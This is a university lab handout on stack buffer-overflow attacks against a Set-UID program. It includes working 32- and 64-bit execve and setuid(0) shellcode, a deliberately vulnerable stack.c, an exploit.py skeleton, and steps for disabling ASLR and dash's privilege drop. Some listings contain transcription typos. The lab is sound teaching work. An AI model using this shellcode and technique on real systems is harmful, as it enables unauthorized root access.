Buffer Overflow Attack Lab (Set-UID Version)

Modified 2024 for COMP 435: Computer Security Concepts at UNC

Overview

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the control flow of the program leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and gain root privilege. In addition to the attacks, you will be guided through several countermeasures that have been implemented in the operating system to protect against buffer-overflow attacks. You need to evaluate whether the schemes work or not and explain why. This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard
- Shellcode (32-bit and 64-bit)

Warning!

> This lab involves temporarily turning off some important OS protections. You should do this lab strictly on the VM. **We cannot help you if you mess up your own computer.**

Lab Setup Files

1. The starter code and set-up files can be found in your course workspace.

2. Feel free to organize your lab files how you like. We will only grade what is uploaded to gradescope.

Useful Tips

- **`exit`** will exit the current shell session
- **`'$'`** is the symbol used to denote a shell prompt for any user that is not root. **`'#'`** is used when the user of the shell is the root user. You can also tell which user you are with the **`whoami`** command.
- Use 'ctrl -' and 'ctrl shift+' to make terminal text smaller/larger
- Save your exploit for each task in a separate file so you can easily look at older ones if you need to.

Generative AI

The use of **ANY** Generative AI tool such as ChatGPT, Microsoft Copilot, etc is strictly prohibited and will result in an honor code violation and an automatic 0 for the assignment.

Environment Setup

Important Note: Use Virtual Machine Only

For this assignment, perform all tasks within the provided Virtual Machine (VM). **DO NOT** use SSH, VSCode, or any remote connections for the following reason:

Addresses obtained and utilized within this lab can change depending on the environment you are using. Since the VM is configured to give consistent memory addresses for the tasks, using other environments will result in incorrect addresses, potentially rendering your exploit non-functional.

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether or not our attack can still be successful.

1. Address Space Randomization.
Ubuntu and several other Linux-based systems use address space randomization to randomize the starting addresses of the heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. This feature can be disabled using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

2. Configuring `/bin/sh`.
In recent versions of Ubuntu, the **`/bin/sh`** symbolic link points to the **`/bin/dash`** shell. The **`dash`** program, as well as **`bash`**, has implemented a security countermeasure that prevents itself from being executed in a **`Set-UID`** process. Basically, if the process detects that it is executed in a **`Set-UID`** process, it will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a **`Set-UID`** program, and our attack relies on running **`/bin/sh`**, the countermeasure in **`/bin/dash`** makes our attack more difficult. Therefore, we will link **`/bin/sh`** to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/ dash can be easily defeated). We have installed a shell program called **`zsh`** in the Ubuntu 20.04 VM. The following command can be used to link **`/bin/sh`** to **`zsh`**:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

3. StackGuard and 4. Non-Executable Stack.
These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program.

Submission

You will submit your final lab report to Gradescope. It will include the screenshots, descriptions of what you have done and what you have observed, and explanations of interesting observations and code snippets. Simply attaching code without any explanation will not receive credit.

Your screenshots must include a unique identifier. The simplest way to do this is to take a screenshot that encapsulates the VM interface itself (which should already happen before cropping), as it includes your onyen/name on the left and top-right.

Task 1: Getting Familiar with Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in code-injection attacks. Let us get familiar with it in this task.

The C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

Listing 1: Example of Shellcode

```
#include <stdio.h>

int main () {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

The best way to write a shellcode is to use assembly. In this lab, you will not be working directly with assembly, as we've done the work of encoding each instruction into binary and inlining it into your starter code (see listing 4). Listings 2 and 3 give some examples of assembly written to be used as shellcode.

32-bit Shellcode

Listing 2: Shellcode to invoke execve()

```
;Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve () 's 1st argument

; Construct the argument array argv[]
push eax ; argv[1) = 0
push ebx ; argv[O) --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve () 's 2nd argument

; For environment variable
xor edx, edx ; edx = 0: execve () 's 3rd argument

; Invoke execve ()
xor eax, eax  ;
mov al, 0x0b ; execve () 's system call number
int 0x80
```

The shellcode in assembly above basically invokes the **`execve()`** system call to execute **`/bin/sh`**. Here is a brief explanation.

- The third instruction pushes "**`//sh`**", rather than "**`/sh`**" into the stack. This is because we need a 32-bit number here, and "**`/sh`**" has only 24 bits. Fortunately, "**`//`**" is equivalent to "`/ `", so we can get away with a double slash symbol.
- We need to pass three arguments to **`execve`**() via the `ebx`,`ecx` and `edx` registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
- The system call **`execve`**() is called when we set **`al`** to **`0x0b`**, and execute "**`int 0x80`**".

64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the **`execve()`** system call are also different.

Listing 3: 64-Bit Shellcode

```
xor rdx, rdx  ; rdx= 0: execve () 's 3rd argument
push rdx
mov rax, '/bin//sh'  ; the command we want to run
push rax
mov rdi, rsp ; rdi → “/bin//sh”: execve()’s 1st argument
push rdx ; argv[1] = 0
push rdi argv[O] --> "/bin//sh"
mov rsi, rsp ; rsi-->argv[]:execve () 's 2nd argument
xor rax, rax
mov al, 0x3b ; execve()'s system call number
syscall
```

Invoking the Shellcode

First, navigate to the **`shellcode`** folder within the starter code directory we provided. We have generated the binary code from the assembly code above, and put the code in a C program called **`call_shellcode.c`** inside the **`shellcode`** folder. In this task, we will test the shellcode.

Listing 4: **`call_shellcode.c`**

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[]  =
#if __x86_64__ =
    "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
    "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
    "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif

int main (int argc, char **argv)  {
    char code[500];

    strcpy (code, shellcode) ; // Copy the shellcode
to the stack

   int (*func) () (int (*) () ) code;
   func () ; // Invoke the shellcode from the stack
   return 1;
}
```

The code above includes two copies of shellcode, one is 32-bit and the other is 64-bit. When we compile the program using the -m32 flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing **`make`**. Two binaries will be created, a32. out (32-bit) and a64. out (64-bit). Run them and describe your observations. It should be noted that the compilation uses the “execstack" option, which allows code to be executed from the stack; without this option, the program will fail.

Submission

1. A description of your results when invoking the shellcode
2. At least one screenshot showing a shell (i.e. Show what happens when you run the compiled shellcode. Run a command and show the result.)

Task 2: Understanding the Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the code folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 5: **`stack.c`**

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *Str)  {

    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow
problem */
    strcpy(buffer, str);

    return 1;

}


int main(int argc, char **argv)  {

    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called **badfile**, and then passes this input to another buffer in the function **bof**(). The original input can have a maximum length of 517 bytes, but the buffer in **bof()** is only **BUF_SIZE** bytes long, which is less than 517. Because **strcpy**() does not check boundaries, a buffer overflow will occur. Since this program is a root-owned **Set-UID** program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called **badfile**. This file is under users' control. Now, our objective is to create the contents for **badfile**, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation.
To compile the above vulnerable program, found in the **code** folder, we need to turn off the StackGuard and the non-executable stack protections using the **-fno-stack-protector** and **-z execstack** options. After the compilation, we need to make the program a root-owned **Set-UID** program. We can achieve this by first changing the ownership of the program to root (Line 2 below), and then changing the permission to 4755 to enable the **Set-UID** bit (Line 3 below).

It should be noted that changing ownership must be done before turning on the **Set-UID** bit, because ownership change will cause the **Set-UID** bit to be turned off.

```
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector
stack.c
$ sudo chown root stack
$ sudo chmod 4755 stack
```

The compilation and setup commands are already included in Makefile, so we just need to type **make** to execute those commands. The variables L1 and L2 are set in Makefile; they will be used during the compilation.

When you run **make** in this task, it will create 2 executable files, 1 for both levels of exploit and a corresponding program that was executed with the ***debug*** flag. The debug flag maintains some helpful symbols, or names, in the executable program so that it is easier to debug. The files labeled with '-dbg' are the files you'll want to run gdb on, but the files without '-dbg' are the ones you will actually run the exploit on.

Submission

1. Take a screenshot of the list of files in your code directory after successfully running **make** and producing the 2 executables as described above. (Hint: the **ls** command)

Task 3: Launching the Attack on

32-bit Program (Level 1) Investigation

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

We will add the -g flag to the gcc command, so debugging information is added to the binary. If you ran **make**, the debugging version is already created. We will now use **gdb** to debug **stack-Ll-dbg**. We need to create a file called **badfile** before running the program. Follow along with listing 6 to create this file and begin debugging.

Listing 6: Debugging **stack-Ll-dbg** using **gdb**

```
$ touch badfile      ← Create an empty badfile
$ gdb stack-Ll-dbg
gdb-peda$ b bof      ← Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run        ← Start executing the program
...
Breakpoint 1, bof (str= 0xffffcf57 ... ) at stack.c: 18

20   strcpy (buffer, str) ;
gdb-peda$ p $ebp     ← Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer  ← Get the buffer's address
$2 = (char (*) (100)) 0xffffdfac
gdb-peda$ quit       ← exit
```

Notes

1. It should be noted that the frame pointer value obtained from **gdb** is different from that during the actual execution (without using **gdb**). This is because **gdb** has pushed some environment data into the stack before running the debugged program. When the program runs directly without using **gdb**, the stack does not have that data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

   To account for the difference in the size of the stack between when you run using gdb and when you run without it, you can make use of a ***NOP sled***. A NOP sled is a series of NOP instructions that precede your shell code. Using a NOP sled allows you to account for other unknown variables on the stack so that you don't have to know the exact address where your shell code starts, just that your return address is somewhere below the start of the shell code on the stack.

Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside badfile. We will use a Python program to do that. We provide a skeleton program called **exploit.py**, which is included in the lab setup file. The code is incomplete, and you will need to replace some of the essential values in the code.

Listing 7: **exploit.py**

```
#!/usr/bin/python3
import sys

shell code=
  ""  # * Need to change *
) .encode(' latin-1')


# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start =  0  # *Need to change*
content[start: start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0x00  # *Need to change*
offset = 0  # *Need to change*

L = 4    # Use 4 for 32-bit address and 8 for 64-bit address

content[offset: offset + L] = (ret) .to_bytes(L,
byteorder='little')
##################################################################
# Write the content to a file
with open ('badfile' , 'wb' ) as f:
    f.write(content)
```

After you finish the above program, run it. This will generate the contents for `badfile`. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

```
$./exploit.py     // create the badfile
$./stack-L1       // launch the attack by running the vulnerable
program
# ←——Bingo! You've got a root shell!
```

Notes

1. **We recommend using the formula ret = <buffer start address> + offset + 12 + 32 + 128. Adding the offset to the buffer start address gives us the address that $ebp points to. We then add 12 to account for other variables saved to the stack as part of the calling convention, then 32 to account for variables saved by GDB. The 128 added on to the end ensures that we clear any other variables that may be on the stack.**
2. **We recommend placing the shell code at the end of the buffer (i.e. higher on the stack). If you do this, the return address calculated in the previous note will point to a series of NOP Instructions (called a NOP sled) that precede the shell code. The program will execute this series of NOPs and then "sled" into the shell code after jumping to the return address.**

Submission

1. An explanation of how you chose values for start, return, and offset in `exploit.py`.
2. Screenshots of you using the gdb command, of your exploit.py code, and a successful capture of the root shell.

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

In the Level-1 attack, using **gdb**, we get to know the size of the buffer. In the real world, this piece of information may be hard to get. For example, if the target is a server program running on a remote machine, we will not be able to get a copy of the binary or source code. In this task, we are going to add a constraint: you can still use **gdb**, but you are not allowed to derive the buffer size from your investigation. Actually, the buffer size is provided in Makefile, but you are not allowed to use that information in your attack.

Your task is to get the vulnerable program to run your shellcode under this constraint. We assume that you do know the range of the buffer size, which is from 100 to 200 bytes. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks. In your lab report, you need to describe your method, and provide evidence.

Submission

1. An explanation of your approach in finding the correct return address without the use of buffer size.
2. Screenshots of your **`exploit.py`** code, and a successful capture of the root shell.

Task 5 Defeating dash's Countermeasure

The dash shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal the real UID (which is the case in a **`Set-UID`** program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let **`/bin/sh`** point to another shell called **`zsh`**, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure. Please do the following, so **`/bin/sh`** points back to **`/bin/dash`**.

```
$ sudo ln -sf /bin/dash /bin/sh
```

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned `Set-UID` program runs, the effective UID is zero, so before we invoke the shell program, we just need to change the real UID to zero.

We can achieve this by invoking **`setuid(0`**) before executing **`execve`**() in the shellcode.

The following assembly code shows how to invoke **`setuid(0)`** . The binary code is already put inside **`call_shellcode.c`**. You just need to add it to the beginning of the shellcode.

Listing 8: Example of Shellcode

```
; Invoke setuid(0) : 32-bit
xor ebx, ebx      ; ebx = 0: setuid () 's argument
xor eax, eax
mov al, 0xdS     ; setuid () 's system call number
int 0x80

; Invoke setuid(0) : 64-bit
xor rdi, rdi      ; rdi = 0: setuid () 's argument
xor rax, rax
mov al, 0x69     ; setuid () 's system call number
syscall
```

Launching the attack again.
Navigate back into the **`shellcode`** directory. Compile **`call_shellcode.c`** into root-owned binary by typing: **`make setuid`**.

Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Level 1, and see whether you can get the root shell. After getting the root shell, please run the following command to prove that the countermeasure is turned on. Although repeating the attacks on Levels 2 is not required, feel free to do that and see whether they work or not.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

Two other commands you can run to test if you are the root user are **`whoami`** or **`id`**

Submission

1. Screenshots of a successful capture of the root shell with an explanation of what you changed in exploit.py and why.